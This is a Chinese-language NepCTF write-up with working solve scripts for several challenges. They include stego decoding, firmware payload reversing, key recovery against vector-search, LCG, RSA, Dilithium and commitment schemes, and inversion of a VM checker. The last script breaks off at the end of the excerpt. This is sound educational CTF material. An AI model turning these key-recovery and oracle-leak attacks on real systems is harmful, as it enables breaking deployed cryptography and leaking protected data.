MISC

CatFlag

直接type flag.txt即可

如烟大帝独断万古

Step 1: 观察异常 Unicode 字符

解压后查看 novel.txt,正文没有直接出现 flag。但检查字节可以看到大量形如 EF B8 xx 的序列,对应 Unicode 变体选择符 U+FE00 到 U+FE0F。

这些字符通常不可见或弱可见,刚好对应题面“名讳也是尔等能直呼的?”的暗示:真正的信息没有直接显示在正文中。

Step 2: 提取 Variation Selectors 并解码

将每个变体选择符按如下方式映射为十六进制数字:

U+FE00 -> 0
U+FE01 -> 1
...
U+FE0F -> f

完整解题脚本如下:

import re
import zipfile
from pathlib import Path

zip_path = Path("ru_yan_da_di_du_duan_mo_gu_.zip")

with zipfile.ZipFile(zip_path) as z:
    text = z.read("novel.txt").decode("utf-8")

hex_stream = "".join(
    format(ord(ch) - 0xFE00, "x")
    for ch in text
    if 0xFE00 <= ord(ch) <= 0xFE0F
)

raw = bytes.fromhex(hex_stream)
flag = re.search(rb"NepCTF\{[^}]+\}", raw).group(0).decode()
print(flag)

运行输出:

NepCTF{var1at10n_s3l3ct0rs_h4unt_th3_n0v3l-afk6324}

谁引闪了我的灯

Step 1: 提取图片线索

压缩包里有两个文件:

sketch_may27b_send.ino.merged.bin
🐮.jpg

JPEG 的 COM marker 中有注释:

ch18 id19

所以频道是 18,设备 ID 是 19。

Step 2: 逆向固件发包格式

固件是 ESP32-S3 Arduino merged flash。分区表显示 app 位于 0x10000:

ota_0: offset 0x10000, size 0x200000

在 app 的字符串中能看到调试菜单和 raw payload 示例:

t / trigger
ch <1-21>
id <1-99>
raw 55 01 01 01 00 00 00 00 00 00 00 00 00 00 00 70

用 Xtensa 反汇编跟到 trigger 逻辑,可还原出 16 字节 payload 的格式:

55 <group> <id> 01 01 00 00 00 00 00 00 00 00 00 00 <checksum>

其中:

  • 默认 group = 1
  • 图片给出 id = 19 = 0x13
  • 01 01 是 trigger 引闪命令字段
  • 最后一字节是前 15 字节求和取低 8 位

因此小Y的发射信号码为:

55 01 13 01 01 00 00 00 00 00 00 00 00 00 00 6B

Step 3: 计算 flag

完整复现脚本:

from pathlib import Path
from zipfile import ZipFile
import hashlib
import re

raw_zip = Path("raw.zip")

with ZipFile(raw_zip) as zf:
    jpg_name = next(name for name in zf.namelist() if name.lower().endswith(".jpg"))
    jpg = zf.read(jpg_name)

comment = None
i = 0
while i < len(jpg) - 1:
    if jpg[i] == 0xFF and jpg[i + 1] not in (0x00, 0xFF):
        marker = jpg[i + 1]
        if marker in (0xD8, 0xD9):
            i += 2
            continue
        if 0xD0 <= marker <= 0xD7:
            i += 2
            continue
        length = int.from_bytes(jpg[i + 2:i + 4], "big")
        data = jpg[i + 4:i + 2 + length]
        if marker == 0xFE:
            comment = data.decode(errors="ignore")
            break
        i += 2 + length
    else:
        i += 1

if comment is None:
    raise RuntimeError("JPEG comment not found")

m = re.search(r"ch(\d+)\s+id(\d+)", comment)
if not m:
    raise RuntimeError(f"unexpected comment: {comment!r}")

channel = int(m.group(1))
device_id = int(m.group(2))

# ch18 用于设置 SI24R1 的 RF_CH 寄存器;trigger payload 本身使用 group/id。
group = 1
payload = bytes([
    0x55,
    group,
    device_id,
    0x01,
    0x01,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00,
])
payload += bytes([sum(payload) & 0xFF])

signal_code = payload.hex(" ").upper()
md5_input = signal_code.replace(" ", "")
flag = f"NepCTF{{{hashlib.md5(md5_input.encode()).hexdigest()}}}"

print(f"comment    = {comment}")
print(f"channel    = {channel}")
print(f"signal     = {signal_code}")
print(f"md5 input  = {md5_input}")
print(flag)

输出:

comment    = ch18 id19
channel    = 18
signal     = 55 01 13 01 01 00 00 00 00 00 00 00 00 00 00 6B
md5 input  = 5501130101000000000000000000006B
NepCTF{5bf7d6ca3d718c33301a52e5f45909b8}

【Game】共生(本地)

【Game】共生(联机)

CRYPTO

Blind RAG

Step 1: 观察查询 oracle 的线性泄露

服务端对查询向量执行:

t1 = q * M1^-1
t2 = q * M2^-1

数据库中文档向量密文为:

c1 = v1 * M1^T
c2 = v2 * M2^T
v = v1 + v2

因此密文内积满足:

c1 · t1 + c2 · t2 = v · q

令 q = e_i,即可得到 v[i]。维度 n = 64,所以只需要 64 次查询就能恢复每篇文档的完整明文向量。

Step 2: 恢复向量并解密文档

题面给出文档加密 key 的派生方式:

key = SHA256(v[0].to_bytes(32, LE) || ... || v[63].to_bytes(32, LE))

完整脚本如下:

#!/usr/bin/env python3
import hashlib
import json
import urllib.request
from Crypto.Cipher import AES


BASE = "https://jpp7nxl2-mi4s-eecl-itqc-6a5a0be831485-neptunus.nepctf.com"


def get_database():
    with urllib.request.urlopen(BASE + "/database", timeout=20) as resp:
        return json.load(resp)


def post_query(q):
    body = json.dumps({"q": [str(x) for x in q]}).encode()
    req = urllib.request.Request(
        BASE + "/query",
        data=body,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=20) as resp:
        data = json.load(resp)
    return [[int(x) for x in part] for part in data["t_q"]]


def dot(a, b, p):
    return sum(int(x) * int(y) for x, y in zip(a, b)) % p


def derive_key(v):
    material = b"".join((x % (1 << 256)).to_bytes(32, "little") for x in v)
    return hashlib.sha256(material).digest()


def decrypt_doc(doc, v):
    blob = bytes.fromhex(doc["c_d"])
    nonce, ciphertext, tag = blob[:12], blob[12:-16], blob[-16:]
    cipher = AES.new(derive_key(v), AES.MODE_GCM, nonce=nonce)
    return cipher.decrypt_and_verify(ciphertext, tag).decode()


def main():
    challenge = get_database()
    p = int(challenge["p"])
    n = int(challenge["n"])

    basis_tokens = []
    for i in range(n):
        q = [0] * n
        q[i] = 1
        basis_tokens.append(post_query(q))

    for doc in challenge["database"]:
        c1 = [int(x) for x in doc["c_v"][0]]
        c2 = [int(x) for x in doc["c_v"][1]]
        v = [
            (dot(c1, t1, p) + dot(c2, t2, p)) % p
            for t1, t2 in basis_tokens
        ]
        plaintext = decrypt_doc(doc, v)
        if doc["label"] == "flag" or "flag{" in plaintext:
            print(plaintext)


if __name__ == "__main__":
    main()

运行结果:

flag{v3ct0r_bl1nd_r4g_cpa_m4tr1x_r3c0v3ry}

LGC Attack

Step 1: Recover p With Coppersmith

附件中有:

hidden_p_bits = 502
p_high = p >> hidden_p_bits

所以

p = p_high * 2^502 + x,  0 <= x < 2^502

而 p | N,因此 gcd(N, p_high * 2^502 + x) 会得到一个大因子。这里 x 的大小接近 N^(1/4) 边界,可以直接用 PARI/GP 的 zncoppersmith 求小根。

Step 2: Recover Truncated LCG State

LCG 为:

s_{i+1} = a * (s_i - c) mod p
output_i = s_i >> 256

记:

s_i = output_i * 2^256 + e_i,  0 <= e_i < 2^256

代入递推可得:

e_{i+1} = a * e_i + const_i mod p

继续展开:

e_i = A_i * e_0 + D_i mod p

所有 e_i 都很小,这是典型 HNP/CVP。构造格:

diag(p, p, ..., p)
(A_0, A_1, ..., A_5, scale)

对目标 (-D_0, -D_1, ..., -D_5, 0) 求最近向量,即可得到所有低位 e_i,其中 e_0 拼回 seed 就是 flag。

Solve Script

import subprocess
from pathlib import Path

from Crypto.Util.number import long_to_bytes
from fpylll import CVP, IntegerMatrix, LLL


N = 22187897828066510143339423882109101247209576020622451563694769495061581497972608742852704623563876205804618112075107327156665212714239515814760701261302340013984847109155166656629490882787990272673673984541861811022094404554774921448726355401410516219793271817030534522963962958070490308209942404568337176872647408723480204530638051188911383907146464459732256966570622985812410658915066458492530664670191920078132385328506090992831038029631657950434160340950576737109430430853406059464503283567537018385968948133588117647661573793901823708129071610152613927334203244932810281755256034938386141530974842254844569528321
p_high = 12893584713798331116600942759943150206120418151997023509455506536023696211103495532459701141560222506396287404281991806673169215725569387084632139466532811869
a = 28027957200917342994497843841336103680324911710592810094032731032876976375097013340444584624516533812877732765356636498755224823412578682144712225174847403676178876842729530020418668275316178350365143345104275212854581823409368968563359126190343866175957965562040341391831548338963211220297011774571830537510
c = 124571295155632298854668399415577720902323410777126805117578537183903196898221472751580119622961799273160546728088218494485037334945651989201379086354957576540850822047253125949625907487566200203531387636024785931802658889886859390346973849762577505739298194345758623618935193592988867173595380777523764885493
outputs = [
    35459629419921339976362040468381638066123839606224258519633349558026816286303,
    1045546322778744757798155224027010401171937738979194987161584175072074825574059486095128745222283663424497203865965546387207198014160709312298096707168406703048467252308651447094850738077662602429484476014413105145528513111066898432,
    1001738739921482369449862751687980804394256848293635937574201608473041018754676565675285739228661253348874308654533500769367779969945586794445233533264348665090551983619055283479861536819636758300759908719346124739657249484856991426,
    229643376185707351267793588818201867888464599080579837087062838646934378577627891447115322320543228567784429257634211212211104067152392505417979406212030418671801098448106861614428268257369913416521620960775433551136012900615806754,
    951314156459263160499048623244196273210386309541599936113388927958875970325558726219937496488118402314974972559151195414687222344719107677196991289432370698102080079685552353799952692639595301877896445402675601612804908945011453569,
    926079803461570796126480348257667042234786454801099108009416659754536879373458059153156741623151249769076507687447652627553135268814990746129897588210164971127746120279043348435887295343399125161176849584366997997265801293138632505,
]


def recover_p():
    unknown = 502
    p0 = p_high << unknown
    x_bound = 1 << unknown

    gp_script = f"""
N={N};
p0={p0};
X={x_bound};
roots=zncoppersmith(x+p0,N,X,sqrtint(N));
for(i=1,#roots, p=p0+roots[i]; if(N%p==0, print(p)));
\\\\q
"""
    Path("solve_p_tmp.gp").write_text(gp_script)
    out = subprocess.check_output(["gp", "-q", "-s", "1024M", "solve_p_tmp.gp"], text=True)
    return int(out.strip().splitlines()[-1])


def recover_lcg_low_bits(p):
    k = 256
    base = 1 << k
    dim = len(outputs)

    constants = [
        a * (outputs[i] * base - c) - outputs[i + 1] * base
        for i in range(dim - 1)
    ]

    coeffs = [1]
    offsets = [0]
    for const in constants:
        coeffs.append((coeffs[-1] * a) % p)
        offsets.append((a * offsets[-1] + const) % p)

    scale = 1 << 250
    mat = IntegerMatrix(dim + 1, dim + 1)
    for i in range(dim):
        mat[i, i] = p
    for j, value in enumerate(coeffs):
        mat[dim, j] = value
    mat[dim, dim] = scale

    LLL.reduction(mat)
    target = tuple([(-offset) % p for offset in offsets] + [0])
    closest = CVP.closest_vector(mat, target)
    diffs = [target[i] - closest[i] for i in range(dim)]

    for sign in (1, -1):
        lows = [sign * diff for diff in diffs]
        if all(0 <= low < base for low in lows):
            return lows

    raise ValueError("failed to recover low bits")


p = recover_p()
lows = recover_lcg_low_bits(p)
seed = (outputs[0] << 256) + lows[0]
flag = long_to_bytes(seed, 64).rstrip(b"\x00")

state = seed
for output in outputs:
    assert state >> 256 == output
    state = a * (state - c) % p

print(flag.decode())

运行输出:

Nepctf{C0pp3rsm1th_m33ts_LLL_in_Latt1c3_w0rld!}

ezRSA3

task.py 中 RSA 参数生成逻辑如下:

e = 65537
n = 10000
k = 10

s = set()
while len(s) < n:
    s.add(getPrime(50))

sops = sorted(s)

def get_p():
    while True:
        p = 2 * prod(sample(sops, k)) - 1
        if is_prime(p) and gcd(p - 1, e) == 1:
            return p

可以看到,p 满足:

p = 2 * product(sample(sops, 10)) - 1

也就是:

p + 1 = 2 * product(sample(sops, 10))

输出文件 out.py 中给出了完整的 sops 列表、N 和密文 c。虽然不知道生成 p 时具体抽取了哪 10 个素数,但 p + 1 一定整除:

M = 2 * product(所有 sops 中的素数)

这说明 p + 1 是光滑数,可以用 Williams p+1 分解攻击尝试从 N 中恢复 p。

一开始如果误用 Pollard p-1,会失败,因为题目构造光滑的是 p + 1,不是 p - 1。

exp

使用 gmpy2.lucasv_mod 计算 Lucas 序列。对合适的参数 P,计算:

gcd(V_M(P, 1) - 2, N)

即可得到 N 的非平凡因子。

完整脚本如下:

import gmpy2
from Crypto.Util.number import long_to_bytes

ns = {}
exec(open("out.py", "r", encoding="utf-8").read(), ns)

sops = ns["sops"]
N = ns["N"]
c = ns["c"]
e = 65537

# p + 1 整除 M
M = 2
for r in sops:
    M *= r

Nmp = gmpy2.mpz(N)
Mmp = gmpy2.mpz(M)

p = None
for P in range(3, 5000):
    # 计算 Lucas V_M(P, 1) mod N
    V = gmpy2.lucasv_mod(P, 1, Mmp, Nmp)
    g = int(gmpy2.gcd(V - 2, Nmp))
    if 1 < g < N:
        p = g
        print(f"found P = {P}")
        break

assert p is not None
q = N // p

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, N)

print(long_to_bytes(m).decode())

运行后可以得到:

found P = 5
NepCTF{5m0o7h_m4k3s_w1lliam_gr34t}

LeakyRAG

Step 1: 分析泄露点

源码 server.py 中的搜索逻辑会对用户提交的 64 维向量归一化,然后对每个文档计算:

score = float(np.dot(vec, doc["vector"]))

受保护文档只隐藏 snippet,但 doc_id 和 score 仍然返回。因此如果查询向量为 q,返回的 flag_doc.score 就是 q · f,其中 f 是未知 flag 向量。

embedding 的编码方式也在源码中公开:

v[i] / v[63] = exp((char_i - 128) / 64)

所以重建出归一化向量 f 后,用 log(v[i] / v[63]) * 64 + 128 即可还原字符。

Step 2: 用微扰分数重建 flag 向量

先用形如 NepCTF{aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa} 的字符串生成锚点向量,让 flag_doc 稳定进入 top 20。设锚点为单位向量 a,已知基础分数:

b = a · f

对每个坐标 i 查询 a + t * e_i。服务端会先归一化该查询向量,所以返回:

y_i = ((a + t * e_i) / ||a + t * e_i||) · f

因此:

f_i = (y_i * ||a + t * e_i|| - b) / t

完整脚本如下:

import math
import sys

import numpy as np
import requests


TARGET = sys.argv[1] if len(sys.argv) > 1 else (
    "https://73g5jcil-rdey-a4mf-uams-6a5ad93032403-neptunus.nepctf.com"
)
DIM = 64


def embed(text: str) -> np.ndarray:
    data = text.encode()
    v = np.ones(DIM, dtype=np.float64)
    for i, b in enumerate(data[: DIM - 1]):
        v[i] = np.exp((b - 128) / 64.0)
    return v / np.linalg.norm(v)


def decode(v_norm: np.ndarray) -> str:
    v = np.array(v_norm, dtype=np.float64)
    v = v / np.linalg.norm(v)
    ref = v[-1]
    out = []
    for i in range(DIM - 1):
        code = int(round(np.log(v[i] / ref) * 64 + 128))
        if 32 <= code <= 126:
            out.append(chr(code))
        else:
            break
    return "".join(out)


def search(vec, top_k=20):
    r = requests.post(
        TARGET + "/api/search",
        json={"vector": [float(x) for x in vec], "top_k": top_k},
        timeout=15,
    )
    r.raise_for_status()
    return r.json()["results"]


def flag_score(vec):
    for rank, item in enumerate(search(vec), 1):
        if item["doc_id"] == "flag_doc":
            return item["score"], rank
    return None, None


anchors = [
    "NepCTF{aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa}",
    "NepCTF{00000000-0000-0000-0000-000000000000}",
    "NepCTF{ffffffff-ffff-ffff-ffff-ffffffffffff}",
    "flag{l34ky_v3ct0r_s34rch_1s_n0t_3ncrypt10n}",
]

best = None
for text in anchors:
    score, rank = flag_score(embed(text))
    if score is not None and (best is None or score > best[0]):
        best = (score, rank, text)

if best is None:
    raise SystemExit("flag_doc did not appear in top-k; try more anchors")

b, rank, anchor_text = best
anchor = embed(anchor_text)
print(f"anchor={anchor_text!r} rank={rank} score={b}")

for t in [0.2, 0.1, 0.05, 0.02, 0.01]:
    recovered = np.zeros(DIM, dtype=np.float64)
    missing = []

    for i in range(DIM):
        q = anchor.copy()
        q[i] += t
        y, _ = flag_score(q)
        if y is None:
            missing.append(i)
            continue

        norm = math.sqrt(1 + t * t + 2 * t * anchor[i])
        recovered[i] = (y * norm - b) / t

    if missing:
        continue

    recovered /= np.linalg.norm(recovered)
    flag = decode(recovered)

    verify_score, verify_rank = flag_score(embed(flag))
    print(f"flag={flag}")
    print(f"verify rank={verify_rank} score={verify_score}")
    break
else:
    raise SystemExit("failed to reconstruct all coordinates")

Step 3: 运行结果

对第二个实例运行:

python solve_leakyrag.py https://73g5jcil-rdey-a4mf-uams-6a5ad93032403-neptunus.nepctf.com

输出:

anchor='NepCTF{aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa}' rank=1 score=0.9799525360272954
flag=NepCTF{f2fad3ec-be45-59ef-f914-026371caafac}
verify rank=1 score=1.0

同一方法对前一个实例也能恢复出:

NepCTF{9f43ad65-21b6-276c-b938-8c0b32723e2e}

ezgame

这个同上

easyDilithium

Step 1: 分析泄露量

源码里的签名逻辑如下:

y = sample_y()
w = matrix_vec_mul(A, y)
w1_list = [poly_high_bits(p, gamma2) for p in w]
c = generate_challenge(msg, w1_list)
cs1 = poly_vec_scalar_mul(c, s1)
z = poly_vec_add(y, cs1)

noise = [[random.randint(-NOISE_BOUND, NOISE_BOUND) for _ in range(n)] for _ in range(l)]
r = [Poly([y[i].coeffs[j] + noise[i][j] for j in range(n)]) for i in range(l)]
return c, z, r

其中 s1 的系数范围是 [-2, 2],noise 的系数范围是 [-15, 15]。服务端返回 c, z, r,所以:

z_i - r_i = c * s1_i - noise_i

环是 Z_q[x] / (x^64 + 1)。对每个 challenge 多项式 c 建立卷积矩阵 M_c,就有:

M_c * s1_i ~= z_i - r_i

每个签名给 64 条方程,s1 只有 64 个未知系数。收集约 100 到 160 个签名后,噪声会被最小二乘平均掉,结果四舍五入并裁剪到 [-2, 2] 就能恢复私钥。

Step 2: 恢复私钥并伪造目标签名

使用脚本 exploit_dilithium.py:

python exploit_dilithium.py

核心代码如下:

def conv_matrix(c_coeffs):
    c = challenge.Poly(c_coeffs).centered_list()
    n = challenge.n
    mat = np.zeros((n, n), dtype=float)
    for out_idx in range(n):
        for secret_idx in range(n):
            if secret_idx <= out_idx:
                c_idx = out_idx - secret_idx
                sign = 1
            else:
                c_idx = out_idx + n - secret_idx
                sign = -1
            mat[out_idx, secret_idx] = sign * c[c_idx]
    return mat


def recover_s1(samples):
    matrices = []
    rhs = [[] for _ in range(challenge.l)]

    for c_coeffs, z_lists, r_lists in samples:
        matrices.append(conv_matrix(c_coeffs))
        for i in range(challenge.l):
            rhs[i].append(np.array(z_lists[i], dtype=float) - np.array(r_lists[i], dtype=float))

    big_matrix = np.vstack(matrices)
    recovered = []

    for i in range(challenge.l):
        y = np.concatenate(rhs[i])
        sol, *_ = np.linalg.lstsq(big_matrix, y, rcond=None)
        rounded = np.rint(sol).astype(int)
        rounded = np.clip(rounded, -challenge.eta, challenge.eta)
        recovered.append(challenge.Poly(rounded.tolist()))

    return recovered

恢复出 s1 后,直接按正常签名流程给目标消息签名:

def forge_signature(A, t, s1):
    while True:
        y = challenge.sample_y()
        w = challenge.matrix_vec_mul(A, y)
        w1_list = [challenge.poly_high_bits(p, challenge.gamma2) for p in w]
        c = challenge.generate_challenge("Please give me the flag", w1_list)
        z = challenge.poly_vec_add(y, challenge.poly_vec_scalar_mul(c, s1))

        z_centered = [coeff for p in z for coeff in p.centered_list()]
        if max(abs(v) for v in z_centered) >= challenge.gamma1 - challenge.beta:
            continue

        if challenge.verify("Please give me the flag", c, z, A, t):
            return c, z

Step 3: 运行结果

实际远程连接:

ncat --ssl fcoiutu7-z9p8-vhxt-agom-6a5af97f31732-neptune.nepctf.com 443

脚本自动请求 160 次非目标消息签名,恢复私钥并提交伪造签名,输出:

[+] collected 160/160 signatures
[+] recovered s1:
[-1, -2, -1, 1, -2, 0, ...]
[-1, 2, 0, -2, 1, 1, ...]
[+] max fractional residuals after rounding: [0.3578273928901492, 0.4003560297260409]
[+] forged locally after 3 attempt(s)
[+] Signature valid! Here is your flag: NepCTF{ML_DSA_n0nse_l34k_4tt4ck}

true_ezgame

漏洞分析

服务端每轮核心逻辑如下:

r = secrets.token_bytes(ROUND_RANDOM_BYTES)
dealer = secrets.randbelow(3)
commitment = COM.commit(H(dealer, r))

H(dealer, r) 的定义是:

def H(i: int, r: bytes) -> int:
    assert 0 <= i <= 2
    return int.from_bytes(sha512(bytes([i]) + r).digest(), "big")

commitment 返回两个值:

return pow(mask, self.e, self.n), value ^ mask

也就是:

token  = mask^e mod n
masked = H(dealer, r) xor mask

而服务端在玩家输入前会打印:

r = <hex>
commitment: (token, masked)

因此对每个候选 dealer,可以计算:

mask = masked ^ H(dealer, r)

再验证:

pow(mask, e, n) == token

如果验证成立,说明这个 dealer 就是服务端真实出拳。题目中的胜负判断为:

def beats(player: int, dealer: int) -> bool:
    return dealer == (player + 1) % 3

所以恢复出 dealer 后,玩家只需要选择:

player = (dealer - 1) % 3

即可保证当前轮获胜。

利用脚本

脚本同时处理了 PoW、TLS 连接、commitment 验证和 40 轮自动出拳。

import hashlib
import itertools
import re
import socket
import ssl
import sys


HOST = "vqtfs5fy-co86-anq3-gng0-6a5af8ac32487-neptune.nepctf.com"
PORT = 443
MOVES = ("rock", "scissors", "paper")
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"


def h(move_id: int, r: bytes) -> int:
    return int.from_bytes(hashlib.sha512(bytes([move_id]) + r).digest(), "big")


def recv_until(sock, marker: bytes, echo: bool = False) -> bytes:
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            raise EOFError(data.decode("utf-8", "replace"))
        data += chunk
        if echo:
            sys.stdout.write(chunk.decode("utf-8", "replace"))
            sys.stdout.flush()
    return data


def sendline(sock, line: str) -> None:
    sock.sendall(line.encode() + b"\n")


def solve_pow(text: bytes) -> str:
    m = re.search(
        rb"sha256\(XXX\+([A-Za-z0-9]{17})\) == ([0-9a-f]{64})",
        text,
    )
    if not m:
        raise ValueError("PoW prompt not found")
    suffix, digest = m.groups()
    for chars in itertools.product(ALPHABET, repeat=3):
        xxx = "".join(chars).encode()
        if hashlib.sha256(xxx + suffix).hexdigest().encode() == digest:
            return xxx.decode()
    raise ValueError("PoW solution not found")


def parse_parameters(text: bytes):
    m = re.search(rb"parameters: n = (\d+), e = (\d+)", text)
    if not m:
        raise ValueError("parameters not found")
    return int(m.group(1)), int(m.group(2))


def parse_round(text: bytes):
    r_m = re.search(rb"r = ([0-9a-f]+)", text)
    c_m = re.search(rb"commitment: (\([0-9]+, [0-9]+\))", text)
    if not r_m or not c_m:
        raise ValueError("round data not found")
    r = bytes.fromhex(r_m.group(1).decode())
    token, masked = ast.literal_eval(c_m.group(1).decode())
    return r, token, masked


def choose_move(n: int, e: int, r: bytes, token: int, masked: int) -> str:
    for dealer in range(3):
        mask = masked ^ h(dealer, r)
        if pow(mask, e, n) == token:
            player = (dealer - 1) % 3
            return MOVES[player]
    raise ValueError("dealer move could not be recovered")


def main():
    ctx = ssl._create_unverified_context()
    with socket.create_connection((HOST, PORT), timeout=15) as raw:
        with ctx.wrap_socket(raw, server_hostname=HOST) as sock:
            sock.settimeout(20)
            first = recv_until(sock, b"[+] Plz Tell Me XXX: ")
            pow_answer = solve_pow(first)
            print(f"PoW: {pow_answer}")
            sendline(sock, pow_answer)

            setup = recv_until(sock, b"your move [rock/scissors/paper]: ")
            n, e = parse_parameters(setup)
            print(f"n bits: {n.bit_length()}, e: {e}")

            current = setup
            for idx in range(1, 41):
                r, token, masked = parse_round(current)
                move = choose_move(n, e, r, token, masked)
                print(f"round {idx}: {move}")
                sendline(sock, move)
                if idx == 40:
                    tail = b""
                    while True:
                        chunk = sock.recv(4096)
                        if not chunk:
                            break
                        tail += chunk
                    print(tail.decode("utf-8", "replace"))
                    break
                current = recv_until(sock, b"your move [rock/scissors/paper]: ")


if __name__ == "__main__":
    main()

运行:

python solve_ezgame.py

关键输出:

n bits: 1024, e: 65537
round 1: paper
...
round 40: rock
I played scissors.
You played rock.
You win this round.
You win the game!
flag: NepCTF{6f859e1b-fe35-87d2-08f7-b55697a2d08b}

REVERSE

UnknownFirmware

Step 1:确定帧缓冲格式

文件总大小为 976 字节。观察十六进制可发现前 8 字节均为 00,因此先跳过这 8 字节,剩余数据长度为 968 字节:

968 * 8 = 7744 = 88 * 88

所以剩余数据可以按 1bpp 位图解析为一张 88x88 的黑白图。直接渲染时能看到类似二维码的斜向纹理,说明图像并不是随机数据,而是每一行相对于上一行发生了固定偏移。

Step 2:修正行错位并还原二维码

设当前行号为 y,第 y 行需要向左循环移动 2 * y 个像素。完成逐行修正后,再整体向左移动 24 像素,即可让二维码处于可扫描位置。

from pathlib import Path
from PIL import Image, ImageOps
import numpy as np

data = Path("decrypted_frame.bin").read_bytes()
payload = data[8:]

bits = []
for byte in payload:
    for bit in range(7, -1, -1):
        bits.append((byte >> bit) & 1)

raw = np.array(bits[:88 * 88], dtype=np.uint8).reshape(88, 88)

fixed = np.zeros((88, 88), dtype=np.uint8)
for y in range(88):
    fixed[y] = np.roll(raw[y], -2 * y)

fixed = np.roll(fixed, -24, axis=1)

img = Image.fromarray(np.where(fixed, 0, 255).astype(np.uint8), "L")
img = ImageOps.expand(img, border=8, fill=255)
img = img.resize((832, 832), Image.Resampling.NEAREST)
img.save("recovered_qr.png")

print("saved recovered_qr.png; scan it to get the flag")

运行脚本后会生成 recovered_qr.png,扫描该二维码即可得到最终 flag。

NepCTF{U_Have_Dec0mpiled_Telink_FirmWareWooooW}

compile_me_maybe

Step 1: 识别缺失的 witness

源码结构很直接:

using bytes = typename cmc::program<cmc::witness>::bytes;

cmc::witness 应该定义在空的 include/generated_witness.hpp 里。vm.hpp 中 witness 被当作 64 字节数组使用,并先经过 validate_witness() 检查。检查逻辑会把 witness 拆成 16 个小端 u32 寄存器,然后执行 checker_program,最终要求寄存器等于 checker_target。

VM 指令包括 xor/add/mul/rotl/sbox/perm/mix/swap/not,这些操作在 32-bit 模意义下都可逆;其中 muli 的立即数是奇数,可以求模逆。

Step 2: 反向执行 checker 并解密

完整求解脚本如下,在题目目录下运行即可:

import math
import pathlib
import re

DATA = pathlib.Path("include/data.hpp").read_text()
MOD32 = 2**32
MASK64 = 2**64 - 1


def arr(name):
    m = re.search(rf"{re.escape(name)}[^=]*=\s*\{{(.*?)\}};", DATA, re.S)
    if not m:
        raise RuntimeError(f"missing array: {name}")
    return [int(x.replace("U", ""), 0) for x in re.findall(r"0x[0-9a-fA-F]+|\d+", m.group(1))]


checker_program = arr("checker_program[checker_program_size]")
checker_target = arr("checker_target[checker_register_count]")
permutation_flat = arr("register_permutations[4][checker_register_count]")
register_permutations = [permutation_flat[i * 16:(i + 1) * 16] for i in range(4)]
nibble_sbox = arr("nibble_sbox[16]")
encrypted = arr("encrypted[message_size]")
message_permutation = arr("permutation[message_size]")

inverse_nibble_sbox = [0] * 16
for i, v in enumerate(nibble_sbox):
    inverse_nibble_sbox[v] = i

OP_HALT = 0xD3
OP_XORI = 0x8E
OP_ADDI = 0x41
OP_ROTL = 0xB7
OP_XORR = 0x2C
OP_ADDR = 0xF0
OP_SWAP = 0x69
OP_SBOX = 0x15
OP_PERM = 0xCA
OP_MIX = 0x73
OP_MULI = 0xA4
OP_NOT = 0x5B


def rotl32(x, n):
    n &= 31
    x &= 0xFFFFFFFF
    return x if n == 0 else ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF


def rotr32(x, n):
    n &= 31
    x &= 0xFFFFFFFF
    return x if n == 0 else ((x >> n) | (x << (32 - n))) & 0xFFFFFFFF


def rotl8(x, n):
    n &= 7
    x &= 0xFF
    return x if n == 0 else ((x << n) | (x >> (8 - n))) & 0xFF


def xorshift64(x):
    x &= MASK64
    x ^= (x << 13) & MASK64
    x ^= x >> 7
    x ^= (x << 17) & MASK64
    return x & MASK64


def checker_opcode_mask(step):
    x = (0xA5F1523D + step * 0x9E3779B9) & 0xFFFFFFFF
    x ^= x >> 16
    x = (x * 0x7FEB352D) & 0xFFFFFFFF
    x ^= x >> 15
    x = (x * 0x846CA68B) & 0xFFFFFFFF
    x ^= x >> 16
    return x & 0xFF


def read_program_u32(offset):
    p = checker_program
    return p[offset] | (p[offset + 1] << 8) | (p[offset + 2] << 16) | (p[offset + 3] << 24)


def inverse_substitute_nibbles(x):
    out = 0
    for shift in range(0, 32, 4):
        out |= inverse_nibble_sbox[(x >> shift) & 0xF] << shift
    return out & 0xFFFFFFFF


def decode_instructions():
    pc = 0
    step = 0
    instructions = []

    while pc < len(checker_program):
        opcode = checker_program[pc] ^ checker_opcode_mask(step)
        pc += 1
        step += 1

        if opcode == OP_HALT:
            instructions.append(("halt",))
            break
        if opcode in (OP_XORI, OP_ADDI, OP_MULI):
            target = checker_program[pc]
            imm = read_program_u32(pc + 1)
            pc += 5
            name = {OP_XORI: "xori", OP_ADDI: "addi", OP_MULI: "muli"}[opcode]
            instructions.append((name, target, imm))
        elif opcode == OP_ROTL:
            instructions.append(("rotl", checker_program[pc], checker_program[pc + 1]))
            pc += 2
        elif opcode in (OP_XORR, OP_ADDR, OP_SWAP):
            left, right = checker_program[pc], checker_program[pc + 1]
            pc += 2
            name = {OP_XORR: "xorr", OP_ADDR: "addr", OP_SWAP: "swap"}[opcode]
            instructions.append((name, left, right))
        elif opcode in (OP_SBOX, OP_NOT):
            name = "sbox" if opcode == OP_SBOX else "not"
            instructions.append((name, checker_program[pc]))
            pc += 1
        elif opcode == OP_PERM:
            instructions.append(("perm", checker_program[pc]))
            pc += 1
        elif opcode == OP_MIX:
            instructions.append(("mix", checker_program[pc], checker_program[pc + 1], checker_program[pc + 2]))
            pc += 3
        else:
            raise RuntimeError(f"bad opcode {opcode:#x} at step {step - 1}")

    return instructions


def recover_witness():
    regs = checker_target[:]

    for inst in reversed(decode_instructions()):
        op = inst[0]
        if op == "halt":
            continue
        if op == "xori":
            _, t, imm = inst
            regs[t] ^= imm
        elif op == "addi":
            _, t, imm = inst
            regs[t] = (regs[t] - imm) & 0xFFFFFFFF
        elif op == "muli":
            _, t, imm = inst
            regs[t] = (regs[t] * pow(imm, -1, MOD32)) & 0xFFFFFFFF
        elif op == "rotl":
            _, t, amount = inst
            regs[t] = rotr32(regs[t], amount)
        elif op == "xorr":
            _, left, right = inst
            regs[left] ^= regs[right]
        elif op == "addr":
            _, left, right = inst
